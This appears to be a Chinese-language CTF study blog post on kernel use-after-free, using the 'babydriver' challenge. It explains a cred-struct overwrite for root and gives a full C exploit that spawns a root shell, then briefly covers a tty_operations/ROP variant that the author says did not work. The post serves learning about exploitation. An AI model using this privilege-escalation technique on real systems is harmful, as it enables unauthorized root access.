kernel UAF
kernel UAF
太菜啦太菜啦,Jmp.Cliff真的太菜了。
原理
本质上和用户态的堆题的UAF是一个原理
实现的效果都是能让我们拥有一个指向“非法区域”的指针,用户态的堆题里一般漏洞出在释放后未及时置零,在kernel里也是同理。
对于slub堆管理器仍待继续学习。
例题
经典例题babydriver,fops注册的babyioctl函数会进行kmalloc,大小由我们任意控制,但是在babyrelease时并未将指针置零。
我们可以连续进行两次open,然后再close掉其中一个文件描述符。此时device_buf指向的空间已经被free,但指针未置零。我们可以利用剩余的一个文件描述符配合write和read进行相关操作。
一个想法就是fork一个子进程,然后让新申请的进程cred分配在刚刚被释放的这个空间(cred大小为0xa8),然后利用write去修改这段内存覆盖gid和uid,实现提权。
EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
int babydev[2]={0};
size_t buf[0x8]={0};
size_t fake_op[0x8]={0};
int backdoor(){
    system("/bin/sh");
    return 0;
}
unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int main(){
    save_status();
    babydev[0]=open("/dev/babydev",O_RDWR);
    babydev[1]=open("/dev/babydev",O_RDWR);
    if((!babydev[0])||(!babydev[1]))
    {
        printf("open babydev failed!\n");
    }
    ioctl(babydev[0], 0x10001, 0xA8);
    close(babydev[0]);
    int pid = fork();
    if(pid<0)
    {
        printf("ERROR!\n");
        return 0;
    }    
    else if(pid==0)
    {
        char buf[30] = {0};
        write(babydev[1], buf, 28);
        backdoor();
    }
    else
    {
        wait(0);
    }
    return 0;
}
关于tty
看了另一个解法,是在close后open一个tty设备,让tty_struct分配到这个内存中,然后劫持tty_operations指针指向一个我们构造好的函数指针数组。通过向这个设备去write,调用我们构造好的相关gadget,实现栈迁移到提前布置好的rop链子上,再实现提权。
上面的那个解法似乎在新版本的kernel不可行,因为新的slub规则发生了变化。但是这个利用tty设备的方法我也没有试验成功。个人觉得应该是因为KPTI使得内核和用户空间页表发生了隔离的缘故,原EXP中再用户态布置ROP链子的行为不再可行。
具体原因仍待考察。

                
            
        
浙公网安备 33010602011771号